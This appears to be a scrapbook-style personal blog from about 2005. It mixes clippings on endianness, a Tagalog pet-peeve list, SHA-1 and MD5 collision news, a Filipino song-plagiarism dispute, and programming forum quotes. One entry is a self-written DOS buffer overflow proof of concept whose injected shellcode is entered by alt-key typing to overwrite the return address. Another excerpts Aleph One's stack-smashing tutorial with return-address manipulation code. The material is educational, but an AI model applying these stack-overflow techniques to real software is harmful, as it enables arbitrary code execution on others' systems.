# It takes a lot of years to make a profit. The best thing to do is own your business for life."

'you're an engineer, you should know'

Endianness - Wikipedia, the free encyclopedia

Endianness - Wikipedia, the free encyclopedia:

#define LITTLE_ENDIAN 0
#define BIG_ENDIAN 1

int machineEndianness()
{
int i = 1;
char *p = (char *) &i;
if (p[0] == 1) // Lowest address contains the least significant byte
return LITTLE_ENDIAN;
else
return BIG_ENDIAN;
}

MgA kWeNtOnG tAmBaY nG sIrAuLo Sa Timog Kalipornya:

[::..mga kinaiinisan..::]

george w bush's smirk, mga pangalan na nilalagyan ng "h" (katulad ng jhune, dhanny, jhoey, jhim, jhay, jhet, mayron pa nga akong kilalang piph), tunog ng baril ni agent X44 Tony Falcon, tunog ng suntok ng mga pelikulang pinoy, people who say "at the end of the day" all the time, allergic reactions to seafood, tunog ng stirofoam pag pinisil, tunog ng kinaskas na kuko sa blackboard, war, alikabok, the term "weapons of mass destruction", sales people who always say "absolutely", people who don't take a bath everyday, anghit, people who don't change their shirts everyday, tropical heat, people with anghit who don't take a bath and don't change their shirts everyday at kasabay mong maglakad in the tropical heat, cnn's jim clancey's reporting, monday afternoons, NAIA, the term "liberating the iraqi people", jeepney fumes, standing on a bus going home, cruise missles, pelikulang bumbay, stale coffee, tomahawk missles, january 2, ping lacson, tessie aquino ureta, pimples, powdered orange juice, elevator music, kenny-g's music, elevator playing kenny-g's music, donald rumsfeld's squint, funeral parlors, hospitals, hospital morgues, cold showers, nagtataeng ballpen, nagtataeng ballpen na nakalagay sa bulsa ng puting polo shirt, lapis na bale, disco music, rap music, loud bar music, loud rap music played in a bar, non-functioning remote control, scientific calculators that are not casio, automatic watches that stop in the middle of the night, smelly farts that are not mine, come to think of it - any kind of fart that did not come from my asshole, "bawal umihi dito" signs (ang mahole, bogbog), sunglasses na tabingi pag sinuot mo, yellow-orange shirts, pink pants for men, pantalon na bitin, lalaki na naka yellow-orange shirt na may ternong pink pants na bitin, lawlaw na shorts, tsinelas na luma, loud preachers inside a bus (PRAISE THE GOD!), el shaddai, amerikana ni brother mike, brother mike, good friday, american war propaganda, train stations in india, being thirsty, LBM, smelly hair, ugly american speeches, tinapay na may amag, mainit na coke, soft boiled egg na sobrang soft, CNN reporters na pumipikit-pikit pag nagrereport, sign pen na walang tinta, CD na tumatalon, abstract painting na binebenta sa bangketa sa quiapo, palenkeng maputik, cell phones ringing inside theatres, sappy love song ring tones, sappy love song ringtones ringing inside theatres, loud text message ringtones, mcdo hamburgers na may chii sauce, taxes, ringing phones at 2 o clock in the morning, traffic jams, fast changing traffic lights, war councils, tapilok, somebody wearing turtle neck sweaters in manila, somebody wearing leather jackets in manila, somebody wearing leather jackets over tutleneck sweaters in manila, the term "decisive force", censorship, self righteous people, self righteous censors, names i can't pronounce, people calling me "david", riding in a car that's been left baking in an open parking lot in manila at 12 o clock noon, pentel pen na malapit nang maubusan ng tinta, the disco song entitled "zodiac", low batt cellphone right when you need it, underpowered cars, stars on 45 music, stars on 45 music being played inside buses, stars on 45 being played inside a bus when a preacher suddenly shouts "PRAISE THE LORD" while you are a few seconds from finally taking a nap, funeral wreathes, lumang pera, kahit anong pelikula ni steven segal (except yung kasama niya si idol kong tommy lee jones), ang mukha ni prime minister john howard ng australia, "operation iraqi freedom"...
...AND, the most kinaiinisang bagay-bagay as of late: the term "shock and awe".

A BELTRÓNICA Telecom

buffer overflow exploit, proof of concept

/*
My own buffer overflow exploit, proof of concept.

also a demonstration of how even a data entry operator can hack a system just by using keyboard alt-input.

Michael Buen
*/


#include "stdio.h"
#include "string.h"

char y;


void something(char *s)
{
char d[8];
strcpy(d,s);

strupr(d);

printf("Your name %s will be saved to database", d);

}


void x()
{
clrscr();
puts("Hey");
}

void main()
{
char s[100];

clrscr();
printf("%p",x);
getchar();



/*printf("\nss: %p", s);
printf("\ncs: %p", main);
printf("\nds: %p", &y); */

/* strcpy(s, "\xb4\x02\xb2\x4d\xcd\x21\xb4\x4c\xcd\x21\x7A\xFF"); */

printf("Please input your lastname: ");
scanf("%s", s);


something(s);


}

/*

instead of inputting your lastname in scanf, input the code below while holding-down the alt.


this program will display letter M



180
2
178
77
205
33
180
76
205
33
122
255


corresponding assembly code

MOV AH, 02
MOV DL, 4D
INT 21
MOV AH, 4C
INT 21


122 and 255 are hexadecimal FF7A, the offset of variable S in the stack, we'll overwrite the
instruction pointer with FF7A, then the program will resume execution in the
code inputted above, you can execute any arbitrary code of your choice. in the
above example, we just execute interrupt 21 function 02 to display letter M


compile this in Turbo C, memory model Tiny

*/

Full text of SMASHING THE STACK FOR FUN AND PROFIT, by Aleph One:

"What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb:

------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type 'show copying' to see the conditions.
There is absolutely no warranty for GDB; type 'show warranty' for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490

: pushl %ebp
0x8000491 : movl %esp,%ebp
0x8000493 : subl $0x4,%esp
0x8000496 : movl $0x0,0xfffffffc(%ebp)
0x800049d : pushl $0x3
0x800049f : pushl $0x2
0x80004a1 : pushl $0x1
0x80004a3 : call 0x8000470
0x80004a8 : addl $0xc,%esp
0x80004ab : movl $0x1,0xfffffffc(%ebp)
0x80004b2 : movl 0xfffffffc(%ebp),%eax
0x80004b5 : pushl %eax
0x80004b6 : pushl $0x80004f8
0x80004bb : call 0x8000378
0x80004c0 : addl $0x8,%esp
0x80004c3 : movl %ebp,%esp
0x80004c5 : popl %ebp
0x80004c6 : ret
0x80004c7 : nop"

smashing the stack, output of x is not 1, instead still 777

#include "stdio.h"


void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
char *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 777;
function(1,2,3);
x = 1;
printf("%d\n",x);
getchar();
}

U.S. mulls new digital-signature standard

By Anne Broache and Declan McCullagh
Staff Writer, CNET News.com

Published: November 1, 2005, 4:00 AM PST

TalkBack E-mail Print TrackBack

GAITHERSBURG, Md.--A team of Chinese scientists shocked the data security world this year by announcing a flaw in a widely used technique used to create and verify digital signatures in e-mail and on the Web.

Now the U.S. government is trying to figure out what to do about it.

The decade-old algorithm, called the Secure Hash Algorithm, or SHA-1, is an official federal standard and is embedded in every modern Web browser and operating system. Any change will be expensive and time-consuming--and a poor choice by the government would mean that the successor standard may not survive another 10 years.

"We're going to have to make a decision fairly soon about where to push people," said John Kelsey of the National Institute of Standards and Technology (NIST), which convened a workshop here on the topic Monday. Even though NIST is only technically responsible for government standards-setting, Kelsey noted, "we're likely to get a lot of other people to head in that direction as well."

The findings by the researchers at China's Shangdong University, which they described in an interview with CNET News.com in March, are still of more theoretical than practical interest. But as computing speed accelerates, their discovery eventually will make it easier for intruders to insert undetectable back doors into computer code or to forge an electronic signature--unless a different, more secure "hash" algorithm is adopted.

NIST is weighing two broad options: selecting a newer variant of SHA-1 believed to be more secure, or undertaking the much longer process of soliciting public suggestions for an entirely new algorithm that can be used for digital signatures. (The agency followed the second path before deciding on the Rijndael algorithm, used for data encryption rather than signatures.)

Complicating the decision-making process is a belief among computer scientists that even the newer algorithms related to SHA-1 may suffer from similar flaws.

Variants on SHA-1--originally devised by the National Security Agency--exist and are growing in popularity. NIST has announced a set of algorithms known generally as SHA-2 (sometimes called SHA-256, SHA-384, or SHA-512), but they haven't been subject to as much public scrutiny as SHA-1, which makes some researchers nervous. Orr Dunkelman, a doctoral student at Technion University in Israel, said "I have a strong suspicion that in the next five years, SHA-256 might be considered broken."

Last year, flaws also were reported in MD5, a similar algorithm widely used on the Internet. SHA-1 yields a 160-bit output, which is longer than MD5's 128-bit output and is considered more secure.

NIST's hash-bash
To computer scientists, the SHA and MD5 algorithms are known as hash functions. They take all kinds of input, from an e-mail message to an operating-system kernel, and generate what's supposed to be a unique fingerprint. Changing even one letter in the input file should result in a completely different fingerprint.

Security applications rely on these fingerprints being unique. But if a malicious attacker could generate the same fingerprint with a different input stream, the cloned fingerprint--known as a hash collision--would certify that software with a back door is safe to download and execute.

That would help a crook who wanted to falsely sign an e-mail instructing that someone's bank account be emptied. Or a digitally signed contract could, in theory, be altered but appear valid.

Steven Bellovin,
Columbia professor

There's no need to panic, said Steven Bellovin, a professor of computer science at Columbia University, who described the flaws in SHA-1 as still theoretical. But "even if we decide that SHA-1 is good enough for today, someday we are going to have to deploy new hash functions," Bellovin said.

Complicating that deployment is the dizzying scope of the upgrade project. Hundreds of protocols including TLS/SSL (used by Web browsers), SSH (used for remote logins) and IPsec (used in virtual private networks, or VPNs) eventually would have to be reworked to support the new standard. Then Internet users would have to be convinced to upgrade.

Previous Next

"You cannot deploy a new algorithm of any sort all over the place all at once," Bellovin said. "The Internet is far too large." He said that newer applications based on NIST's successor algorithm should be able to "switch-hit" and support the older algorithms when talking to older computers.

Although the U.S. government and most companies may gradually switch from SHA-1--including PGP Corp., which sells desktop encryption software--it won't be practical to abandon it anytime soon, said Niels Ferguson, a cryptographer who works for Microsoft. "You have to be able to read old files and talk to people who haven't updated their PCs in seven years," he said.

NIST has announced plans to ditch SHA-1 by 2010. But it is still far from making a decision. "We really have no strong preconceptions at this point about what we want to do," said Bill Burr, manager of NIST's computer security division.

CITS - MD5 Collisions:
Attacking Hash Functions
by Poisoned Messages
"The Story of Alice and her Boss"
Magnus Daum
CITS Research Group
Ruhr-University Bochum

CITS Research Group

Ruhr-University of Bochum
Stefan Lucks
University of Mannheim


Theoretische Informatik

University of Mannheim

"I don't Know Much About Cryptography - what is a Hash Function?"

One of the main workhorses of modern cryptography are collision resistant hash functions. Given an (almost) arbitrarily long input M, they produce a fixed-size output H(M). Collision resistance means that it is infeasible to find two different inputs M and M' with the same hash H(M)=H(M'). Note that many collisions exist, but it has to be infeasible to actually find even a single collision!

Hash functions are almost omnipresent in today's cryptography, e.g. in digital signatures. Instead of signing a long message M, you simply sign its hash H(M). This is useful and simplifies many issues ... but if H(M) is identical to H(M') then the signature is also valid for M'.
The Story of Alice and her Boss

Alice has been an intern, working some weeks in Rome at the office of, say, Julius Caesar. Depending on the point of view, the story develops quite differently.
Caesar's View

At the day Alice is supposed to leave, Caesar writes a letter of recommendation for Alice -- on paper. The same day, she asks Caesar to digitally sign the letter. For his convenience she presents an electronic copy of the document. Caesar opens the document -- it looks exactly like the original document. So he signs the document.

Months later, Caesar discovers that there has been a breach of secrecy with his French affair files. Will he ever find out who tricked him and how?
Alice's View

Being an intern, Alice does not have any access to secret documents. Not enough for her ...

... tricky Alice decides to fool Caesar. Because Caesar is still relying on the widely used MD5 hash function, she implements the attack from Wang and Yu [WY05] to find MD5 collisions. When she receives her letter of recommendation (on paper), she prepares two postscript files with the same MD5 hash:

* One to display the letter of recommendation, and
* a second one, an order from Caesar to grant Alice some kind of a security clearance.

:: Welcome to Manila Bulletin Online ::: "'The problem with the Filipino isn’t because he lacks resources, but because of his perception,' he begins. 'Our perception forms our personality, our personality dictates our attitude, and it is our attitude that determines our performance.'

Clearly this is not going to be a simple recounting of events in our history — this is going to be an introspective, a critical look at what we have been doing so far as a nation and how we have been looking at it.

'For too long our history has focused on failures,' Jocano asserts. 'How can we feel pride as a people when failure is constantly ingrained into our consciousness? We rallied behind our heroes despite a lack of arms, and yet history brands them as insurrectos while the foreigners are glorified as heroes. It was a Filipino who killed Lawton, and yet who do we name a plaza after?'

Bemused is certainly just one of the reactions among the young people gathered, including myself. We had grown up with so much of the culture of the West around us that very few of us ever thought of questioning the information that we have been receiving. Jocano is doing the opposite, pointing out and deconstructing our Western-influenced way of thinking.

'We do not write our own history, rather we conform to what others think of us,' he said. 'If we write our history in a positive light, then our points of reference will also be positive. We will feel like we belong, and your sense of belonging will give you pride, that in turn strengthens your commitment.'

Everyone is buzzing with excitement and perhaps, even feeling a bit nationalistic. Whatever it is, a palpable emotion is going around the group of more than 80 young people who had been promised 'a meaningful experience that will change their life.'

I don’t know about the students, but that three-hour ride to Pagsanjan is certainly an experience.

For someone who’s grown a bit cynical and who’s always expected a political undertone to"

:: Welcome to Manila Bulletin Online ::

:: Welcome to Manila Bulletin Online ::: "The sore truth is that pop band Orange and Lemons ripped-off 'Chandeliers' by �80s duo The Care and used the melody for 'Pinoy Ako' according to music correspondent Giselle Roque who beseeched Manila Bulletin after she read an article this broadsheet published last Oct. 5.

'When I was posting e�mails that certain artists did not ask permission [from The Care] and copied �Chandeliers, I did not mention Orange and Lemons. But they were the ones who reacted and posted their own defense in turn so that was the time that established na kinopya nila talaga yung kanta,' Roque, who is also the niece of rock icon Sampaguita added."

Orange and Lemon, nikuha yung kanta sa The Care - Chandeliers

Putfile - TheCare Chandeliers:

uhmm321

clem of orange and lemons already acknowledged that "pinoy ako" was indeed inspired by this song. so what's the buzz? at least they are coming clean unlike some bands i know.

balongis2001

75% similar, duon langtayo niligaw sa Cho: at Bridge... Pero must admit mas maganda ang mix ng O&L....Ipagmalaki mo Pinoy Ako??? Pinoy Tayo???

jibaroo

inspired. so my classmate in highschool was just inspired when he copied from our classroom geek. well, that's a nice way of putting it.

niwer_win

i believed that this mp3 song wasn't copied by orange and lemons but the melody is somewhat simillar though. If we said copying kc, it means that the totality of the notes of the song was copied and hnd namn cguro kokopyahn ng O&L un and besides

niwer_win

every song is protected by copyright law, and O&L is ofcoarse aware of that and other artists too. If you were a a gudlistener u'll ntice that there are notes that was changed and i believed that "PINOY AKO" is different totally with "CHANDELIER"

jibaroo

ok. so technically my classmate who "cheated" didn't really cheat. because the name on the exam was his. and he didn't copy the name of the geek. nice

http://arnoldgamboa.com/page/2/

On the other hand, there’s a controversy going on right now. Orange and Lemons are being accused of ripping off — that is, copying the song from a British new wave band, The Care. I’ve stumbled upon this blog entry.

You can download the mp3’s of both songs below:
Pinoy Ako - Orange and Lemons
Chandelier - The Care

Download the files and evaluate for your self. Here’s mine.

Chord patterns - almost a copy
Drum beats - almost the same, the only difference is that The Care’s drum progression is new wavish — oh well, they’re a New Wave band.
Overall accompaniment - konti lang ang similarity. Orange and Lemon’s version is “accoustic” while The Care’s is, as I mentioned, New Wave.
Stanzas’ melodies - very similar.
Chorus - very different
Coda - similar

INFOCHAT Blog » Digital Citizens: "“Love me when I least deserve it, because that’s when I need it most.” - Swedish proverb."

Open Source

"Karl Marx didn't invent helping your neighbor."
Bruce Perens, responding to an argument that open source is the software equivalent of communism

NVIDIA Install Issue [Archive] - Ubuntu Forums: "
sudo apt-get install nvidia-glx
sudo apt-get install nvidia-settings
sudo cp /etc/X11/xorg.conf /etc/X11/xorg.conf_backup
sudo nvidia-glx-config enable"

Got up. Went to work. Got home. Went to bed

CrystalTech Forums - C# vs VB: "I too would like to voice my opinion. I don't try to get into the language vs. language debates. I think they are all rather silly. We as developers either know how to program or we don't. Language is just the means to the end and they all have certain features and syntax that allow us to use our developer methodologies. For instance, most languages have some sort of conditional statement (if's, switches, whiles, etc) which we all know how to use.

I personally try to concentrate on the programming aspect and worry about the language when I need to. I am a programmer, I know how to program, I can use any programming language in the world given enough time to learn the syntax. The basics are all the same, just comes down to preference, job requirements, and specifications."

Slashdot | PCs Plagued by Bad Capacitors

Slashdot | PCs Plagued by Bad Capacitors: "The capacitor issue is more widespread. The problem isn't that they are low quality, it's that a particular MFR was using a stolen and bad formula for fluid for a long while before they began to fail. These capacitors are in everything, cheap stuff, spendy stuff and everything in between. Badcaps.net explains in detail...

On the theme of new and expensive, I'm a little suprised that motherboard MFR's that make high end boards for enthusiasts (you know the ones, with ugly flourecent plastic bits and silver paint and whatnot) haven't used any SMC caps for these boards. You only see them on prototypes. I'd think if there was a market for a motherboard with yellow PCI slots and a purple PCB that this would be a much more attractive option."

BSD License Definition: "One thing about both the GPL and the BSD-style licenses for which there is widespread agreement is that both have problems. Neither is perfect, and perhaps no license can be perfect. There is also considerable agreement that there are benefits both to software developers and to society as a whole from the choice provided by the existence of a variety of types of free software licenses, including the GPL and BSD-style licenses."

M-Dollar: Wine's 12 year climb to Beta, soon to be Apple's best friend?: "Wine's 12 year climb to Beta, soon to be Apple's best friend?

This past Tuesday Wine—the open source implementation of the Windows API—went into Beta with the 0.9 release. In case you don't know about Wine is, here's what they've got to say:

Think of Wine as a compatibility layer for running Windows programs. Wine does not require Microsoft Windows, as it is a completely free alternative implementation of the Windows API consisting of 100% non-Microsoft code, however Wine can optionally use native Windows DLLs if they are available. Wine provides both a development toolkit for porting Windows source code to Unix as well as a program loader, allowing many unmodified Windows programs to run on x86-based Unixes, including Linux, FreeBSD, and Solaris.

Wine has come a long way, which is what you would expect for one of open source software's oldest projects. This LWN.net article tells you quite a bit about what the update contains so I won't repeat all of that here.

Wine has been hailed as a significant strategy element in the quest for ubiquitous Linux desktops, but the promise of an open source solution for running Windows apps on Linux has fallen short of the ideal. Does 0.9 show new life and promise?

I think it does, although I have yet to take it for a spin (I plan to this weekend). However, one thing that I think merits mentioning is how Wine, and Darwine for that matter, may take on a new significance once Apple is on x86. With a shared CPU architecture, it got just that much easier to run Windows apps on a Mac. While long-time Mac users may not care about this, you have to wonder how this might influence a potential Switcher."

Ozgur Akan's Blog: Why I choose SWT against Swing: "I am just evaluating a transition from Swing to SWT for a massive Swing application, and so far the result are promising. We will continue this road, cause the user and customer feedback clearly shows, that they want it. SWT may be faster, but the point is, that is not so memory consuming and simply feels better. Perfomance in a measurable way is not the point neither with Swing or SWT. But the felt performance or responsiveness is an issue. At least for us, as we are writing a rich client application using a lot of Swing, Java2D, and so on at the moment. And in this area SWT 'our performs' Swing easily. In the typical area of database driven form based application this might not be the case. A view comments above someone stated, that Eclipse is not as fast as Idea. Well, from my point of view this is not true. I compared Eclipse 3 and Idea 4 for a two weeks. Eclipse is faster, but IDEA has the richer feature set at the moment for web development. Well, and I also have to admit, that the regular argument 'The people don't know how to develop using Swing.' makes me sad. All my developers have a large experience using Swing, the consultants we hired too, but none of them was able to make the application more responsive. The sun architects even wondered how fast we got this baby. WYSIWYG typographically correct editors are something, that is not often seen in the Java world. We will move to SWT. It is 'smaller', 'faster', feels better and in my eyes in combination with JFace easier to use then Swing. Swing is well designed, but as a lot of stuff done by Sun - over generalized."

Ozgur Akan's Blog: Why I choose SWT against Swing: "# If one needs to develop data entry applications like forms etc, it is best to use SWT. This gives Windows users (who are basically non-tech, business users) the familiar feel of a Windows UI. These people don't like surprises period.
# If one needs to develop utility applications like download managers, media players, p2p clients, mail clients, standalone text editors etc, one should use SWT. These are mass downloadable apps, and are used primarily by non-tech users. As case in point is the Azzerus Bit Torrent Client.
# If one needs to develop a complex gui like a BPEL modeler, or a CAD modeler, then lot's of custom widgets may need to be built. Believe me developing custom widgets with Swing is a lot easier than SWT."

wxWidgets Home

Mathematics Tutorials and Problems (with applets)

HOWTO : Microsoft SQL Server to PostgreSQL Migration: "Having said all that, here is a partial list of things to correct:

1. Force to lower case.
2. Remove all square brackets.
3. Remove all object owner prefixes (i.e. 'dbo.')
4. Remove all reference to filegroup (i.e. 'ON PRIMARY')
5. Remove all non-supported optional keywords (i.e. 'WITH NOCHECK', 'CLUSTERED')
6. Update all non-supported data types (i.e. 'DATETIME' becomes 'TIMESTAMP') Also, this is a good time to get away from MONEY.It is supported in PostgreSQL, but is on its way out.Use NUMERIC(19,4).
7. Replace the T-SQL batch terminator 'GO' with the PostgreSQL batch terminator ';'

Put this file somewhere safe, and now let's get the data."